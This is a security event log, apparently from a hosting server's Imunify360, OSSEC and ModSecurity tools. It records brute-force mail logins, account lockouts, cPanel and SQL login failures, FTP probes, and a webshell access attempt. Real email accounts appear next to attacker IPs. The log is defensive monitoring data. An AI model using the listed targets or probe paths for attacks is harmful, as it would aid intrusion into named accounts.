IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/http-kernel/Tests/Fixtures/ExtensionLoadedBundle/DependencyInjection HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 92.241.36.73
country_id: 248816
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/http-kernel/Tests/Fixtures/ExtensionLoadedBundle/DependencyInjection/ HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:09:04 dovecot_login authenticator failed for H=(WMGi9kw) [185.230.124.69]:60928: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 77.83.39.253
country_id: 690791
description:
Feb  2 06:09:07 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kwchin@urban.my has been locked for the attacker IP 77.83.39.253


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:09:08 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:53277: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:09:14 dovecot_login authenticator failed for H=(PNHngC2) [158.94.208.175]:57356: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:09:19 dovecot_login authenticator failed for H=(nkoexHA) [165.154.217.204]:54505: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:09:21 dovecot_login authenticator failed for H=(EtfkuYWg) [178.16.52.139]:57034: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 06:09:09 dovecot_login authenticator failed for H=(7mlRlx8) [77.83.39.253]:27074: 535 Incorrect authentication data (set_id=kwchin@urban.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:09:17 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account central@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:09:38 dovecot_login authenticator failed for H=(pQuXhmNj4M) [165.154.217.204]:56045: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:10:11 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63009: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:10:15 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account central@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:10:15 dovecot_login authenticator failed for H=(o6XfzqDYlS) [165.154.217.204]:59122: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:10:55 dovecot_login authenticator failed for H=(4fNihTDSr) [165.154.217.204]:62405: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:10:03 dovecot_login authenticator failed for H=(WCKUxWgMp) [185.230.124.69]:59368: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 77.83.39.253
country_id: 690791
description:
Feb  2 06:10:18 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kwchin@urban.my has been locked for the attacker IP 77.83.39.253


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 06:10:20 dovecot_login authenticator failed for H=(y9GPb8fRH) [77.83.39.253]:54019: 535 Incorrect authentication data (set_id=kwchin@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 06:10:34 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:60102: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:10:39 dovecot_login authenticator failed for H=(J3lS8rm) [158.94.208.175]:59164: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.165.172.38
country_id: 1835841
description:
2026-02-02 06:10:39 dovecot_login authenticator failed for H=([221.165.172.38]) [221.165.172.38]:58482: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:10:45 dovecot_login authenticator failed for H=(lnBxBzl6Ck) [178.16.52.139]:54781: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.159.71.249
country_id: 1835841
description:
2026-02-02 06:10:52 dovecot_login authenticator failed for H=([121.159.71.249]) [121.159.71.249]:35500: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.160.166.237
country_id: 1820814
description:
2026-02-02 06:11:34 dovecot_login authenticator failed for H=(237-166.adsl.static.espeed.com.bn) [119.160.166.237]:56714: 535 Incorrect authentication data (set_id=admin@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:11:19 dovecot_login authenticator failed for H=(m9wCtA) [185.230.124.69]:61350: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:11:34 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:52016: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.136.194.207
country_id: 2510769
description:
2026-02-02 06:11:55 dovecot_login authenticator failed for H=([127.0.0.1]) [45.136.194.207]:54576: 535 Incorrect authentication data (set_id=fadilah@pspoly.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 77.83.39.253
country_id: 690791
description:
Feb  2 06:11:06 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kwchin@urban.my has been locked for the attacker IP 77.83.39.253


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:11:13 dovecot_login authenticator failed for H=(RCubfvx) [165.154.217.204]:63798: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:11:12 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account central@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:11:16 dovecot_login authenticator failed for H=(5iic2Fk) [178.16.52.139]:49946: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.187
country_id: 1814991
description:
2026-02-02 06:11:55 dovecot_login authenticator failed for H=([111.61.177.187]) [111.61.177.187]:29116: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:11:04 dovecot_login authenticator failed for H=(cLLAHlx) [158.94.208.175]:59912: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 06:11:08 dovecot_login authenticator failed for H=(m7y0PA00zv) [77.83.39.253]:48613: 535 Incorrect authentication data (set_id=kwchin@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:12:13 dovecot_login authenticator failed for H=(VMSreylKp) [178.16.52.139]:62111: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:12:15 dovecot_login authenticator failed for H=(7ACiMR7XpJ) [158.94.208.175]:54498: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:12:16 dovecot_login authenticator failed for H=(gGiuh176) [185.230.124.69]:58494: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:12:29 dovecot_login authenticator failed for H=(UZgHft) [165.154.217.204]:53713: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 06:12:43 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:57902: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.249.98.23
country_id: 1814991
description:
2026-02-02 06:12:52 dovecot_login authenticator failed for H=([36.249.98.23]) [36.249.98.23]:54572: 535 Incorrect authentication data (set_id=marketing)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.145.116
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/img/demos/img/news.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:12:08 dovecot_login authenticator failed for H=(y34nEyWK) [165.154.217.204]:52056: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.160.166.161
country_id: 1835841
description:
2026-02-02 06:12:23 dovecot_login authenticator failed for H=([121.160.166.161]) [121.160.166.161]:58366: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:12:08 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account central@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 06:12:19 dovecot_login authenticator failed for H=(boFH91Zt) [77.83.39.253]:64467: 535 Incorrect authentication data (set_id=kwchin@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:12:29 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:50037: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.160.166.237
country_id: 1820814
description:
2026-02-02 06:12:11 dovecot_login authenticator failed for H=(237-166.adsl.static.espeed.com.bn) [119.160.166.237]:60930: 535 Incorrect authentication data (set_id=support@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 86.150.100.174
country_id: 2635167
description:
2026-02-02 06:12:37 dovecot_login authenticator failed for H=host86-150-100-174.range86-150.btcentralplus.com [86.150.100.174]:56974: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 06:13:07 dovecot_login authenticator failed for H=(Gin7xhkg) [77.83.39.253]:46145: 535 Incorrect authentication data (set_id=kwchin@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:13:18 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:61925: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:13:05 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account central@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.244.156.44
country_id: 99237
domain: solidfence.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/solidfence.com.my/product-posts/assets/img/product/P4_V_Shape_1(2).jpg HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:13:13 dovecot_login authenticator failed for H=(OLfNcmV1He) [185.230.124.69]:61730: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:13:16 dovecot_login authenticator failed for H=(QgQi6MV) [158.94.208.175]:65235: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.224.149.37
country_id: 3686110
domain: solidfence.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/solidfence.com.my/product-posts/assets/img/product/P5_Welded_Wire-Mesh_1.jpg HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:13:12 dovecot_login authenticator failed for H=(2ZtVG9KQ) [178.16.52.139]:62815: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.34.125
country_id: 1562822
domain: solidfence.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/solidfence.com.my/product-posts/assets/img/product/P3_Rolled_Top_1.jpg HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:13:06 dovecot_login authenticator failed for H=(aW1TpNO) [165.154.217.204]:56704: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:14:03 dovecot_login authenticator failed for H=(iJUjimL) [165.154.217.204]:61081: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-02-02 06:14:08 +0800] info [cpaneld] 102.54.238.57 - mkmetalc "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:14:22 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:14:08 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:56416: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 168.126.53.11
country_id: 1835841
description:
2026-02-02 06:14:19 dovecot_login authenticator failed for H=([168.126.53.11]) [168.126.53.11]:40278: 535 Incorrect authentication data (set_id=support@manforce.net)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 185.242.3.111
country_id: 2750405
description:
2026-02-02  6:14:34 271753 [Warning] Aborted connection 271753 to db: 'unconnected' user: 'unauthenticated' host: '185.242.3.111' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 06:14:53 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:57848: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.159.99.193
country_id: 6252001
description:
2026-02-02 06:14:02 dovecot_plain authenticator failed for H=(oredishies) [192.159.99.193]:48784: 535 Incorrect authentication data (set_id=kendek@kendek.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:14:03 dovecot_login authenticator failed for H=(BD1CwmBbgA) [165.154.217.204]:60999: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:14:10 dovecot_login authenticator failed for H=(XgdmsNMnMy) [185.230.124.69]:51158: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:14:15 dovecot_login authenticator failed for H=(rNv65AA) [158.94.208.175]:52962: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 06:14:17 dovecot_login authenticator failed for H=(PggYFc1NGx) [77.83.39.253]:52004: 535 Incorrect authentication data (set_id=kwchin@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:14:22 dovecot_login authenticator failed for H=(GVkniMabm) [178.16.52.139]:60045: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.106.49.149
country_id: 3932488
description:
2026-02-02 06:14:39 dovecot_login authenticator failed for H=([200.106.49.149]) [200.106.49.149]:50082: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.18.103.142
country_id: 1814991
description:
2026-02-02 06:14:48 dovecot_login authenticator failed for H=([58.18.103.142]) [58.18.103.142]:37841: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 105.187.231.188
country_id: 953987
description:
2026-02-02 06:14:59 dovecot_login authenticator failed for H=([41.149.42.161]) [105.187.231.188]:59348: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 06:15:24 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.176.244
country_id: 1814991
description:
2026-02-02 06:15:51 dovecot_login authenticator failed for H=([111.61.176.244]) [111.61.176.244]:13404: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 06:15:05 dovecot_login authenticator failed for H=(6PNRtO) [77.83.39.253]:43411: 535 Incorrect authentication data (set_id=kwchin@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.197.226.51
country_id: 1819730
description:
2026-02-02 06:15:07 dovecot_login authenticator failed for H=(223-197-226-51.static.imsbiz.com) [223.197.226.51]:57107: 535 Incorrect authentication data (set_id=info@euratech.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:15:21 dovecot_login authenticator failed for H=(y2bHtK) [165.154.217.204]:51926: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:15:26 dovecot_login authenticator failed for H=(q1zzvb) [158.94.208.175]:65270: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:15:07 dovecot_login authenticator failed for H=(9o8TUAjes7) [185.230.124.69]:62357: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:15:11 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:50492: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 185.242.3.111
country_id: 2750405
description:
2026-02-02  6:15:55 271790 [Warning] Aborted connection 271790 to db: 'unconnected' user: 'unauthenticated' host: '185.242.3.111' (This connection closed normally without authentication)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:15:01 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:15:02 dovecot_login authenticator failed for H=(lDlOql) [165.154.217.204]:50309: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.59.202.241
country_id: 149590
description:
2026-02-02 06:16:30 dovecot_login authenticator failed for H=(241.202-59-41.data-dsm.ttcldata.net) [41.59.202.241]:52808: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:16:34 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:55289: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 104.152.52.201
country_id: 6252001
description:
Feb  2 06:16:26 sv3 pure-ftpd[1462590]: (?@104.152.52.201) [INFO] New connection from 104.152.52.201


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:16:16 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.180.129.87
country_id: 1668284
description:
2026-02-02 06:16:27 dovecot_login authenticator failed for H=(175-180-129-87.adsl.dynamic.seed.net.tw) [175.180.129.87]:59624: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 154.54.249.193
country_id: 3017382
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.71||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/usr/share/mysql/chinese/errmsg.sys||User:root||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:16:04 dovecot_login authenticator failed for H=(T9Ptkzs3R4) [185.230.124.69]:51143: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.204.54.153
country_id: 6252001
description:
[2026-02-02 06:16:16 +0800] info [cpaneld] 185.204.54.153 - ofsirk "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ofsirk (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 06:16:15 dovecot_login authenticator failed for H=(n7S8hRFeE9) [77.83.39.253]:53586: 535 Incorrect authentication data (set_id=kwchin@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:16:18 dovecot_login authenticator failed for H=(q1MWFDQq) [165.154.217.204]:56033: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 06:16:29 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales@cordage.com.my has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:16:02 dovecot_login authenticator failed for H=(dM8m3od) [178.16.52.139]:57809: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.18.148.10
country_id: 1814991
description:
2026-02-02 06:16:20 dovecot_login authenticator failed for H=(hebei.18.121.in-addr.arpa) [121.18.148.10]:57752: 535 Incorrect authentication data (set_id=support@stonewld.com.my)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 104.152.52.101
country_id: 6252001
description:
Feb  2 06:16:26 sv3 pure-ftpd[1462605]: (?@104.152.52.101) [INFO] New connection from 104.152.52.101


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:16:32 dovecot_login authenticator failed for H=(lRD2QDkgGm) [158.94.208.175]:56015: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:16:57 dovecot_login authenticator failed for H=(iQTwgjvKjJ) [165.154.217.204]:58937: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 06:16:02 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 77.83.39.253
country_id: 690791
description:
Feb  2 06:16:13 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kwchin@urban.my has been locked for the attacker IP 77.83.39.253


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 104.152.52.124
country_id: 6252001
description:
Feb  2 06:16:26 sv3 pure-ftpd[1462529]: (?@104.152.52.124) [INFO] New connection from 104.152.52.124


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 104.152.52.211
country_id: 6252001
description:
Feb  2 06:16:26 sv3 pure-ftpd[1462658]: (?@104.152.52.211) [INFO] New connection from 104.152.52.211


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 104.152.52.203
country_id: 6252001
description:
Feb  2 06:16:26 sv3 pure-ftpd[1462525]: (?@104.152.52.203) [INFO] New connection from 104.152.52.203


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 104.152.52.213
country_id: 6252001
description:
Feb  2 06:16:26 sv3 pure-ftpd[1462548]: (?@104.152.52.213) [INFO] New connection from 104.152.52.213


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 06:17:18 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 06:17:03 dovecot_login authenticator failed for H=(DbVRDjw4) [77.83.39.253]:29340: 535 Incorrect authentication data (set_id=kwchin@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.177.204.4
country_id: 1269750
description:
